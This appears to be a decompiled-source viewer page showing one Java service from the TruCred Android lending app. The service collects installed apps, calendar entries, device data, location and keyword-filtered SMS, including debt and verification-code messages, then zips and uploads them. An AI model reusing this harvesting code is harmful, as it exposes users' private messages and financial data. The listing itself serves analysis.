正在查看: TruCred v1.1.3 应用的 CdufIntentService.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: TruCred v1.1.3 应用的 CdufIntentService.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.veloz.app.service;
import android.app.IntentService;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.location.Address;
import android.os.Build;
import android.os.Bundle;
import android.provider.CalendarContract;
import android.provider.Telephony;
import android.text.TextUtils;
import android.util.Log;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.LogUtils;
import com.blankj.utilcode.util.SDCardUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.TimeUtils;
import com.google.firebase.analytics.FirebaseAnalytics;
import com.hjq.permissions.Permission;
import com.hjq.permissions.XXPermissions;
import com.lzy.okgo.model.Progress;
import com.veloz.app.VelozApplication;
import com.veloz.app.cache.LocationCache;
import com.veloz.app.entity.CollectAppListEntity;
import com.veloz.app.entity.CollectCalendarReminderEntity;
import com.veloz.app.entity.CollectDataEntity;
import com.veloz.app.entity.CollectDeviceEntity;
import com.veloz.app.entity.CollectSMSEntity;
import com.veloz.app.entity.LocationEntity;
import com.veloz.app.entity.ResultGotInfo;
import com.veloz.app.entity.ResultInfo;
import com.veloz.app.entity.UploadAnalysisResult;
import com.veloz.app.http.Callback;
import com.veloz.app.http.Repository;
import com.veloz.app.service.CdufIntentService;
import com.veloz.app.utils.BatteryDataUtil;
import com.veloz.app.utils.FileUtil;
import com.veloz.app.utils.GeoCoderHelper;
import com.veloz.app.utils.StorageInfoUtil;
import com.veloz.app.utils.UsbUtils;
import com.veloz.app.utils.WifiInfoUtil;
import java.io.File;
import java.io.IOException;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.text.Normalizer;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import okhttp3.internal.cache.DiskLruCache;
public class CdufIntentService extends IntentService {
public StorageInfoUtil a;
public WifiInfoUtil b;
public UsbUtils c;
public FileUtil d;
public CollectDataEntity e;
public ArrayList f;
public final ArrayList g;
public int i;
public AtomicInteger f872j;
public AtomicInteger f873k;
public CdufIntentService() {
super("CdufIntentService");
this.f = new ArrayList();
this.g = new ArrayList();
this.i = 1;
}
public static int c(CdufIntentService cdufIntentService) {
int i = cdufIntentService.i;
cdufIntentService.i = i + 1;
return i;
}
public static void startCollectData(Context context, String str) {
LogUtils.d(new Object[]{"startParam - " + str});
Intent intent = new Intent(context, (Class<?>) CdufIntentService.class);
Bundle bundle = new Bundle();
bundle.putString("key_cld_params", str);
intent.setAction("com.veloz.app.service.action.cl_d");
intent.putExtra("com.veloz.app.service.extra.bundle", bundle);
context.startService(intent);
}
public byte[] encrypt(String str, String str2) {
byte[] bArr = new byte[0];
if (!TextUtils.isEmpty(str2)) {
if (str2 != null) {
try {
if (str2.length() > 12) {
str2 = str2.substring(0, 12);
}
} catch (Exception unused) {
}
}
byte[] bytes = str2.getBytes(StandardCharsets.UTF_8);
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(1, new SecretKeySpec(str2.getBytes("UTF-8"), "AES"), new GCMParameterSpec(128, bytes));
return cipher.doFinal(str.getBytes("UTF-8"));
}
return bArr;
}
public final void g() {
try {
this.f873k.getAndIncrement();
if (this.f873k.get() == this.f872j.get()) {
List m2 = m();
if (m2.size() > 0) {
q(m2);
}
if (this.e.uploadFileItemList.isEmpty()) {
return;
}
File file = new File(VelozApplication.getInstance().getFilesDir(), System.currentTimeMillis() + "-merge.zip");
FileUtil.c(this.g, file, true);
s(file);
}
} catch (Exception e) {
e.printStackTrace();
q(this.e.uploadFileItemList);
}
}
public final void h(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
ArrayList arrayList = new ArrayList();
try {
PackageManager packageManager = VelozApplication.getInstance().getPackageManager();
for (PackageInfo packageInfo : packageManager.getInstalledPackages(0)) {
CollectAppListEntity collectAppListEntity = new CollectAppListEntity();
collectAppListEntity.package_name = packageInfo.packageName;
collectAppListEntity.version_name = packageInfo.versionName;
collectAppListEntity.version_code = packageInfo.versionCode;
collectAppListEntity.app_name = packageInfo.applicationInfo.loadLabel(packageManager).toString();
collectAppListEntity.first_install_time = packageInfo.firstInstallTime;
collectAppListEntity.last_update_time = packageInfo.lastUpdateTime;
collectAppListEntity.android_application_flags = packageInfo.applicationInfo.flags;
collectAppListEntity.create_time = System.currentTimeMillis();
arrayList.add(collectAppListEntity);
}
r("appList", upLoadFileItem.getFileBusinessType(), arrayList);
} catch (Exception e) {
e.printStackTrace();
upLoadFileItem.setCollFailed(1);
}
g();
}
public final void i(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
ArrayList arrayList;
String str = "eventLocation";
String str2 = "description";
String str3 = "dtend";
String str4 = "dtstart";
String str5 = "title";
String str6 = "_id";
ArrayList arrayList2 = new ArrayList();
upLoadFileItem.setPermission(XXPermissions.isGranted(this, Permission.READ_CALENDAR) ? 1 : 0);
try {
Cursor query = getContentResolver().query(CalendarContract.Events.CONTENT_URI, new String[]{"_id", "title", "dtstart", "dtend", "calendar_id", "description", "eventLocation"}, null, null, "dtstart ASC");
if (query != null) {
while (query.moveToNext()) {
String string = query.getString(query.getColumnIndex(str5));
long j2 = query.getLong(query.getColumnIndex(str6));
String str7 = str4;
long j3 = query.getLong(query.getColumnIndex(str4));
String str8 = str6;
ArrayList arrayList3 = arrayList2;
long j4 = query.getLong(query.getColumnIndex(str3));
String string2 = query.getString(query.getColumnIndex(str2));
String string3 = query.getString(query.getColumnIndex(str));
String str9 = str;
CollectCalendarReminderEntity collectCalendarReminderEntity = new CollectCalendarReminderEntity();
collectCalendarReminderEntity.create_time = System.currentTimeMillis();
collectCalendarReminderEntity.event_title = string;
collectCalendarReminderEntity.start_time = TimeUtils.millis2String(j3, "yyyy-MM-dd HH:mm:ss");
collectCalendarReminderEntity.end_time = TimeUtils.millis2String(j4, "yyyy-MM-dd HH:mm:ss");
collectCalendarReminderEntity.description = string2;
collectCalendarReminderEntity.location = string3;
collectCalendarReminderEntity.long_start_time = j3;
collectCalendarReminderEntity.long_end_time = j4;
collectCalendarReminderEntity.event_id = j2 + "";
collectCalendarReminderEntity.reminders = n(j2);
arrayList3.add(collectCalendarReminderEntity);
arrayList2 = arrayList3;
str4 = str7;
str5 = str5;
str6 = str8;
str = str9;
str2 = str2;
str3 = str3;
}
arrayList = arrayList2;
query.close();
} else {
arrayList = arrayList2;
}
r("calendarReminderList", upLoadFileItem.getFileBusinessType(), arrayList);
} catch (Throwable th) {
th.printStackTrace();
upLoadFileItem.setCollFailed(1);
}
g();
}
public final void j(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
CollectDeviceEntity collectDeviceEntity = new CollectDeviceEntity();
try {
BatteryDataUtil.BatteryData batteryData = BatteryDataUtil.b;
collectDeviceEntity.new_ram_total_size = this.a.b();
collectDeviceEntity.new_ram_available_size = this.a.a();
collectDeviceEntity.new_internal_storage_total_size = SDCardUtils.getInternalTotalSize();
collectDeviceEntity.new_internal_storage_available_size = SDCardUtils.getInternalAvailableSize();
collectDeviceEntity.phone_brand = Build.BRAND;
collectDeviceEntity.language = Locale.getDefault().getLanguage();
collectDeviceEntity.battery_status = batteryData.o();
collectDeviceEntity.is_usb_charge = this.c.a() ? 1 : 0;
collectDeviceEntity.is_ac_charge = batteryData.n();
collectDeviceEntity.batteryPercentage = batteryData.l();
collectDeviceEntity.battery_temper = batteryData.m();
collectDeviceEntity.battery_health = batteryData.i();
collectDeviceEntity.sys_version = Build.VERSION.SDK_INT;
collectDeviceEntity.gaid = VelozApplication.getInstance().getGaid();
collectDeviceEntity.battery_level = batteryData.j();
collectDeviceEntity.battery_max = batteryData.k();
r("deviceInfo", upLoadFileItem.getFileBusinessType(), collectDeviceEntity);
} catch (Exception e) {
e.printStackTrace();
upLoadFileItem.setCollFailed(1);
}
g();
}
public final void k(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
LocationEntity a = LocationCache.a();
upLoadFileItem.setPermission(XXPermissions.isGranted(this, Permission.ACCESS_COARSE_LOCATION) ? 1 : 0);
HashMap hashMap = new HashMap();
try {
Address a2 = GeoCoderHelper.a(this, Double.valueOf(a.getLatitude()), Double.valueOf(a.getLongitude()));
hashMap.put("create_time", Long.valueOf(System.currentTimeMillis()));
hashMap.put("longitude", Double.valueOf(a.getLongitude()));
try {
if (a2 != null) {
hashMap.put("gps_address_country", a2.getCountryName());
hashMap.put("gps_address_country_code", a2.getCountryCode());
hashMap.put("gps_address_province", a2.getAdminArea());
hashMap.put("gps_address_city", a2.getLocality());
hashMap.put("gps_address_street", a2.getThoroughfare());
hashMap.put("gps_address_sub_locality", a2.getSubLocality());
hashMap.put("gps_address_sub_admin_area", a2.getSubAdminArea());
hashMap.put("lbs_address_province", a2.getAdminArea());
hashMap.put("lbs_address_city", a2.getLocality());
hashMap.put("lbs_address_street", a2.getThoroughfare());
hashMap.put("lbs_address_country_code", a2.getCountryCode());
hashMap.put("lbs_address_country", a2.getCountryName());
StringBuilder sb = new StringBuilder();
for (int i = 0; i < a2.getMaxAddressLineIndex(); i++) {
sb.append(a2.getAddressLine(i));
sb.append("\n");
}
sb.append(a2.getFeatureName());
sb.append(",");
sb.append(a2.getThoroughfare());
sb.append(",");
sb.append(a2.getSubLocality());
sb.append(",");
sb.append(a2.getSubAdminArea());
sb.append(",");
sb.append(a2.getLocality());
sb.append(",");
sb.append(a2.getPostalCode());
sb.append(" ");
sb.append(a2.getAdminArea());
sb.append(",");
sb.append(a2.getCountryCode());
sb.append(" ");
sb.append(a2.getCountryName());
sb.append("");
hashMap.put("provider", sb.toString());
} else {
hashMap.put("gps_address_country", "");
hashMap.put("gps_address_country_code", "");
hashMap.put("gps_address_province", "");
hashMap.put("gps_address_city", "");
hashMap.put("gps_address_street", "");
hashMap.put("gps_address_sub_locality", "");
hashMap.put("gps_address_sub_admin_area", "");
hashMap.put("lbs_address_province", "");
hashMap.put("lbs_address_city", "");
hashMap.put("lbs_address_street", "");
hashMap.put("lbs_address_country_code", "");
hashMap.put("lbs_address_country", "");
hashMap.put("provider", "");
}
try {
r("locationInfo", upLoadFileItem.getFileBusinessType(), hashMap);
} catch (Throwable th) {
th = th;
th.printStackTrace();
upLoadFileItem.setCollFailed(1);
g();
}
} catch (Throwable th2) {
th = th2;
}
} catch (Throwable th3) {
th = th3;
}
g();
}
public final void l(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
upLoadFileItem.setPermission(XXPermissions.isGranted(this, Permission.READ_SMS) ? 1 : 0);
ArrayList arrayList = new ArrayList();
try {
String valueOf = String.valueOf(System.currentTimeMillis() - 15552000000L);
String startTime = upLoadFileItem.getStartTime();
Cursor query = getContentResolver().query(Telephony.Sms.CONTENT_URI, new String[]{"address", "body", Progress.DATE, "type"}, "date >= ? AND date >= ? AND type = ?", new String[]{valueOf, TextUtils.isEmpty(startTime) ? "0" : startTime, DiskLruCache.VERSION_1}, "date DESC");
if (query != null) {
while (query.moveToNext()) {
String string = query.getString(query.getColumnIndex("address"));
String string2 = query.getString(query.getColumnIndex("body"));
long j2 = query.getLong(query.getColumnIndex(Progress.DATE));
if (Pattern.compile("\\b(cuenta|saldo|disponible|aprobada|aprobado|rechazada|exitosa|salario|nomina|subsidio|bonificacion|transferencia|transferenciarecibida|deposito|abono|pago|pagar|pago\\s+exitoso|recarga|recargar|prestamo|credito|prestamo\\s+urgente|ampliar\\s+plazo|vence|vencido|deuda|cuota\\s+pagada|moroso|atraso|demanda|cobranza|tarjeta\\s+de\\s+credito|kueski|baubyte|bancoppel|spei|codi|efectivo\\s+rapido|interes\\s+diario|tasa\\s+alta|avalar\\s+prestanombres|prestamo\\s+fantasma|montadeuda|prestamo\\s+sin\\s+aval|compra|coche|joyeria|electronicos|electrodomesticos|hipoteca|renta|luz|agua|gas|seguro|viaje|codigo|codigo\\s+de\\s+verificacion|verificacion|confirmar|palabra|folio|telcel|paquete|aire|recarga|recargar|izzi|at&t|movistar|oxxo|unifon|con\\s+exito|recorrer|con\\s+prolongar|prolongar|tarjeta|demanda\\s+judicial|embargo|lista\\s+negra|aclaraciones|casa\\s+de\\s+empeno|solicitud|solicitar|registrate|activacion\\s+cuenta|consulta|consultas|cambio\\s+de\\s+divisas|extension)\\b").matcher(Pattern.compile("\\p{M}").matcher(Normalizer.normalize(string2, Normalizer.Form.NFD)).replaceAll("").toLowerCase(Locale.getDefault())).find()) {
int i = query.getInt(query.getColumnIndex("type"));
CollectSMSEntity collectSMSEntity = new CollectSMSEntity();
Cursor cursor = query;
collectSMSEntity.create_time = System.currentTimeMillis();
collectSMSEntity.content = string2;
if (!Pattern.compile("^(\\+?\\d{10,})$").matcher(string).matches()) {
collectSMSEntity.phone_opposite = string;
}
collectSMSEntity.time = j2;
collectSMSEntity.type = i;
arrayList.add(collectSMSEntity);
query = cursor;
}
}
query.close();
}
r("smsList", upLoadFileItem.getFileBusinessType(), arrayList);
} catch (Exception e) {
e.printStackTrace();
upLoadFileItem.setCollFailed(1);
}
g();
}
public final List m() {
ArrayList arrayList = new ArrayList();
for (CollectDataEntity.UpLoadFileItem upLoadFileItem : this.e.uploadFileItemList) {
if (upLoadFileItem.getCollFailed() == 1) {
arrayList.add(upLoadFileItem);
}
}
this.e.uploadFileItemList.removeAll(arrayList);
return arrayList;
}
public final List n(long j2) {
ArrayList arrayList = new ArrayList();
Cursor query = getContentResolver().query(CalendarContract.Reminders.CONTENT_URI, null, "event_id = ?", new String[]{String.valueOf(j2)}, null);
if (query != null) {
while (query.moveToNext()) {
long j3 = query.getLong(query.getColumnIndex("_id"));
int i = query.getInt(query.getColumnIndex("minutes"));
int i2 = query.getInt(query.getColumnIndex(FirebaseAnalytics.Param.METHOD));
CollectCalendarReminderEntity.Reminder reminder = new CollectCalendarReminderEntity.Reminder();
reminder.eventId = j2;
reminder.reminder_id = j3;
reminder.minutes = i;
reminder.method = i2;
arrayList.add(reminder);
}
query.close();
}
return arrayList;
}
public final void o(Bundle bundle) {
if (bundle == null) {
return;
}
try {
String string = bundle.getString("key_cld_params");
this.i = 1;
this.g.clear();
this.f.clear();
if (!TextUtils.isEmpty(string)) {
this.f.clear();
CollectDataEntity collectDataEntity = (CollectDataEntity) GsonUtils.fromJson(string, CollectDataEntity.class);
this.e = collectDataEntity;
this.f.addAll(collectDataEntity.uploadFileItemList);
this.f872j = new AtomicInteger(this.f.size());
this.f873k = new AtomicInteger(0);
}
if (this.f.isEmpty()) {
return;
}
t();
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onCreate() {
super.onCreate();
this.a = new StorageInfoUtil(this);
this.b = new WifiInfoUtil(this);
this.c = new UsbUtils(this);
this.d = new FileUtil(this);
}
@Override
public void onDestroy() {
super.onDestroy();
}
@Override
public void onHandleIntent(Intent intent) {
if (intent == null || !"com.veloz.app.service.action.cl_d".equals(intent.getAction())) {
return;
}
o(intent.getBundleExtra("com.veloz.app.service.extra.bundle"));
}
public final void p(CollectDataEntity.UpLoadFileItem upLoadFileItem) {
int fileBusinessType = upLoadFileItem.getFileBusinessType();
if (fileBusinessType == 9057) {
j(upLoadFileItem);
}
if (fileBusinessType == 9059) {
i(upLoadFileItem);
return;
}
switch (fileBusinessType) {
case 9050:
h(upLoadFileItem);
break;
case 9051:
k(upLoadFileItem);
break;
case 9052:
l(upLoadFileItem);
break;
default:
Log.e("UploadData", "Unsupported businessType: " + fileBusinessType);
break;
}
}
public final void q(List list) {
HashMap hashMap = new HashMap();
hashMap.put("collScene", this.e.collScene);
hashMap.put("uploadFailedList", list);
Repository.getInstance().reportUploadFileFailed(hashMap, new Callback<ResultInfo<Void>>() {
@Override
public void onSuccess(ResultInfo resultInfo) {
LogUtils.d(new Object[]{"reportUploadFileFailed --successed"});
}
@Override
public void onError(String str, ResultGotInfo resultGotInfo) {
super.onError(str, resultGotInfo);
LogUtils.d(new Object[]{"reportUploadFileFailed --failed"});
}
});
}
public final void r(String str, int i, Object obj) {
if (obj != null) {
File d = this.d.d(GsonUtils.toJson(obj).getBytes(Charset.defaultCharset()), i + ".json", str + TimeUtils.date2String(new Date(), "yyyyMMddHHmmss") + ".zip");
if (d == null) {
throw new IOException("saveByteAndZip failed");
}
this.g.add(d);
}
}
public final void s(final File file) {
LogUtils.d(new Object[]{"startUploadZip -- file = " + file.getPath()});
Repository.getInstance().uploadAnalysisFile(file, new Callback<UploadAnalysisResult<Void>>() {
@Override
public void onSuccess(UploadAnalysisResult uploadAnalysisResult) {
LogUtils.d(new Object[]{"uploadAnalysisFile -successed"});
FileUtil.b(file);
}
@Override
public void onError(String str, ResultGotInfo resultGotInfo) {
super.onError(str, resultGotInfo);
LogUtils.d(new Object[]{"uploadAnalysisFile -failed"});
if (CdufIntentService.this.i <= 3) {
CdufIntentService.c(CdufIntentService.this);
CdufIntentService.this.s(file);
} else {
FileUtil.b(file);
CdufIntentService cdufIntentService = CdufIntentService.this;
cdufIntentService.q(cdufIntentService.e.uploadFileItemList);
}
}
});
}
public final void t() {
Iterator it = this.f.iterator();
while (it.hasNext()) {
final CollectDataEntity.UpLoadFileItem upLoadFileItem = (CollectDataEntity.UpLoadFileItem) it.next();
ThreadUtils.getCachedPool().execute(new Runnable() {
@Override
public final void run() {
CdufIntentService.this.p(upLoadFileItem);
}
});
}
}
}